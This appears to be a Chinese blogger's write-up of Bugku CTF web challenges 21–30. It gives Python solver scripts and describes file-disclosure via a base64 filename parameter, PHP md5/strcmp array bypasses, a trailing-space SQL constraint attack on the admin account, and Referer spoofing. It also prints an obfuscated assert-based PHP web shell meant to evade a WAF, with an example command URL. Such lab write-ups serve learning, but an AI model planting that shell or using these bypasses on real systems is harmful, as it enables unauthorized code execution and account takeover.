二十一、秋名山老司机
题目网址:http://123.206.87.240:8002/qiumingshan/
这一道题可以说毫无头绪,刷新几次页面后才知道是让我们用post方式传参
这里需要一个python脚本,如下
import re
import requests
while (True):
s = requests.Session()
r = s.get("http://123.206.87.240:8002/qiumingshan/")
searchObj = re.search(r'^<div>(.*)=\?;</div>$', r.text, re.M | re.S)
d = {"value": eval(searchObj.group(1))}
r = s.post("http://123.206.87.240:8002/qiumingshan/", data=d)
print(r.text)
if r.text.strip():
break
运行即可出现flag
可见学好web不仅要学好php,还要学好python
二十二、速度要快
题目网址:http://123.206.87.240:8002/web6/
页面上只显示一句话,所以可以看看源码,原来是让我们用margin这个参数使用post方式传值
抓包看一下发现有类似加密过的flag
使用解码工具解码一下
但是按照格式提交还是不对,后来发现bp上的repeater那个flag值一直在变化
所以还是需要使用python写脚本
import requests
import base64
s =requests.Session()
headers =s.get("http://123.206.87.240:8002/web6/").headers
str1 = base64.b64decode(headers['flag'])
str2 = base64.b64decode(repr(str1).split(':')[1])
data= {'margin':str2}
flag = s.post("http://123.206.87.240:8002/web6/",data=data)
print(flag.text)
这样可以得到真正的flag
KEY{111dd62fcd377076be18a}
题目网址:http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
打开后是类似很长的加密字符串,看看源码也没有什么发现。观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
把改参数换成index.php,观察发现line按行返回,于是通过python脚本读取index.php源码
import requests
s=requests.Session()
url='http://123.206.87.240:8002/web11/index.php'
for i in range(1,20):
payload={'line':str(i),'filename':'aW5kZXgucGhw'}
a=s.get(url,params=payload).content
content=str(a,encoding="utf-8")
print(content)
读取出来php的代码如下:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='')
header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
通过阅读代码可知,只要传入一个name=margin value=margin的cookie 就会将keys.php添加到数组中,所以传入margin参数,值为margin,filename写成keys.php(按照格式还要进行base64加密)
二十四、never give up
题目网址:http://123.206.87.240:8006/test/hello.php
右键查看源码后发现了1p.html
于是将hello.php?id=1换成1p.html再访问
Words变量应该是url编码,放到网站上进行解密
解码后发先注释部分还进行了base64加密,再对注释部分进行解码
解码后还有一层url加密,再次进行解码,终于得到了源码
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->
根据代码内容,直接访问f4l2a3g.txt,得到flag
二十五、welcome to bugkuctf
这道题好像崩了,打开页面是404
二十六、过狗一句话
题目网址:http://123.206.87.240:8010/
题目提示中送给大家过狗一句话
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
将assert()单独分开分别存入数组中,assert函数具有代码执行漏洞,我们需要知道该目录下存在哪些文件
使用print_r(scandir($dir))可以读取目录下的文件,在url栏目构造
http://123.206.87.240:8010/?s=print_r(scandir('./'))
后来发现好像也崩了,404...
bugku可能有些题目出了问题没及时修复吧
二十七、字符?正则?
题目网址:http://123.206.87.240:8002/web10/
打开后发现上面有php的代码,其中preg_match如下
preg_match ( string
$pattern
, string$subject
[, array&$matches
[, int$flags
= 0 [, int$offset
= 0 ]]] ) : int搜索
subject
与pattern
给定的正则表达式的一个匹配.
说明key后面就是正则表达式了,此题的目标为构造一个满足正则表达式/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i
的字符串id。
这里我还没有学正则表达式,参照博客:https://blog.youkuaiyun.com/qq_40481505/article/details/100979896
- 结尾的i表示忽略大小写
- 多次出现的key表示匹配字符串key
- .表示匹配除换行符 \n 之外的任何单字符
- *表示匹配前一个字符0次或多次
- {4,7}表示匹配前一个字符串至少4次,至多7次
- :匹配字符:
- \/匹配字符/
- (.*key)表示一个子表达式,功能和上文相同
- [a-z]表示表示匹配小写a-z中的任意一个
- [:punct:]表示匹配 !"#$%&’()*+,-./:;<=>?@[]^_`{|}~.中的任意一个
根据上面的分析,可以构造id为keyakeyaaaaakey:/a/akeya?
,满足上面正则表达式,得到flag
二十八、前女友(SKCTF)
题目网址:http://123.206.31.85:49162/
右键查看源代码发现有一个code.txt文件,点开发现php的代码
代码大致意思是通过get方式传值,如果v1和v2的值不相等,但v1和v2的md5加密值相等,且v3和flag值不相等就会输出flag。利用php中的md5()函数漏洞和strcmp()函数漏洞。PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。同时MD5不能处理数组,有时也可以用数组绕过。同时strcmp()函数也可用数组绕过。
直接用数组绕过,构造
?v1[]=0&v2[]=1&v3[]=1
二十九、login1(SKCTF)
题目网址:http://123.206.31.85:49163/
发现无法登录成功,那就注册一个账号再次登录,结果提示不是管理员不能查看flag
尝试注册admin用户,发现admin已经存在,说明admin就是管理员账户
后查资料可知,这是基于约束的SQL攻击,注册时注册admin后加一个空格,再用这个账号登录,系统依然默认为管理员账号,给出了flag
三十、你从哪里来
题目网址:http://123.206.87.240:9009/from.php
查看源代码也未发现什么
抓一下包,将http referer头改为www.google.com即可出现flag
小结:Bugku的之后这十道题,最明显的一个变化就是需要使用python脚本来解题了,因此需要学好python,提高脚本能力